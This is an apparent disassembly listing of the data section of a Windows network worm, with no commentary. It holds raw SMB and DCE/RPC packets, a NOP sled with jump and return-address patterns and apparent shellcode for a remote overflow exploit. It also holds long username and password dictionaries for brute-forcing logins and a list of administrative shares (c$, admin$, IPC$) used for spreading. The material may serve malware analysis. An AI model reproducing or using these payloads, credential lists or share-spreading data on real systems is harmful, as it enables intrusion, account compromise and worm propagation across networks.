		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
a__		db 0Dh,0Ah		; DATA XREF: sub_410649+59o
					; sub_410B52+Fo
		db '\_/.',0
		align 10h
dword_41A7B0	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0)dword_41A818	dd 10005h, 2 dup(0)		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0				dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
dword_41A894	dd 0FC24448Bh, 0FFFAE005h, 0E0FFFFhdword_41A8A0	dd 530458Bh, 0FFFFFB24h, 0E0FFhdword_41A8AC	dd 19EB10EBh, 0	dword_41A8B4	dd 0FFFF04EBh, 0FFFFhdword_41A8BC	dd 4EB04EBh, 0	dword_41A8C4	dd 0FFFF04EBh, 0FFFFhoff_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h	dword_41A8DC	dd 7FFDE0EBh	dword_41A8E0	dd 18759Fh	dword_41A8E4	dd 1001C59h	dword_41A8E8	dd 1B0B0Bh	dword_41A8EC	dd 6EBh		dword_41A8F0	dd 0F4EBh, 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410649+FBo
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
		dd 1CEC8166h, 0E4FF07h,	1004600h, 7515123Ch, 751C123Ch
		dd 42B68ABAh, 42D01E50h, 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
aEu4		db 1Bh,'¥î4',0
		align 4
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0				dd 0D7h, 1, 0
		dd 1, 0
		dd 0CBh, 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0				dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0						; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0			dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		dd 2 dup(90909090h), 909008EBh,	767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 90909090h, 0EB909090h, 48909008h,	9088444Fh
		dd 4 dup(90909090h), 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		dd 2 dup(90909090h), 909008EBh,	767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 1013C79h, 909008EBh
		dd 767A1567h, 90909090h, 0EB909090h, 48909008h,	9088444Fh
		dd 4 dup(90909090h), 0
		dd 7E0h, 4, 2 dup(0)
aFb		db 'fìÐ',7,0
		align 10h
		dd 129F74h, 0
		dd 127D78h, 0
		dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h
		dd 401002D2h, 50403002h, 4104C031h, 0C628C228h,	6604E2C0h
		dd 3104EAC1h, 2F630C0h,	66032803h, 58431301h, 802C931h
		dd 61D5E0h, 77BD3143h, 7FCh, 0C0314301h, 7FC77h, 4F020100h
		dd 7E7655Bh, 0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
		dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0				db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix_0	; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_1	; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aGod		; "god"
		dd offset aDomain	; "domain"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aData		; "data"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC_0		; "c$"
		dd offset aD		; "d$"
		dd offset aE_0		; "e$"
		dd offset aCShared	; "c$\\shared"
		dd offset aDShared	; "d$\\shared"
		dd offset aEShared	; "e$\\shared"
		dd offset aCWinnt	; "c$\\winnt"
		dd offset aCWindows	; "c$\\windows"
		dd offset aCWinntSystem32 ; "c$\\winnt\\system32"
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
		dd offset aAdminSystem32 ; "Admin$\\system32"
		dd offset aAdmin_0	; "admin$"
		dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"...
		dd offset aPrint	; "print$"
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DE30
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aA_1		; "a"
		dd offset aAb		; "ab"
		dd offset aAbc		; "abc"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aDba		; "dba"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1_0		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset aWork		; "work"
		dd offset aDeadline	; "deadline"
		dd offset aPayday	; "payday"
		dd offset aSecret	; "secret"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset aTest		; "test"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix_0	; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_1	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin_0	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aMoney	; "money"
		dd offset aLove		; "love"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0          ; DATA XREF: .data:0041BF5Co
aBlank		db 'blank',0            ; DATA XREF: .data:0041BF58o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .data:0041BF4Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:0041BF48o
		align 10h
aHp		db 'hp',0               ; DATA XREF: .data:0041BF44o
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:0041BF28o
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0041BF24o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .data:0041BF18o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .data:0041BF14o
aDb1		db 'db1',0              ; DATA XREF: .data:0041BF10o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0041BF0Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0041BF04o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:0041BF00o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0041BEFCo
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:0041BEF0o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0041BEECo
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:0041BEE4o
		align 10h
aHell		db 'hell',0             ; DATA XREF: .data:0041BEE0o
		align 4
aLove		db 'love',0             ; DATA XREF: .data:0041BEDCo
		align 10h
aMoney		db 'money',0            ; DATA XREF: .data:0041BED8o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .data:0041BECCo
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .data:0041BEC8o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0041BEC4o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: .data:0041BEC0o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0041BEB4o
		align 4
aLogin_0	db 'login',0            ; DATA XREF: .data:0041BEB0o
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: .data:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: .data:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: .data:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: .data:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: .data:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: .data:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .data:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: .data:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: .data:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: .data:0041BE08o
		align 4
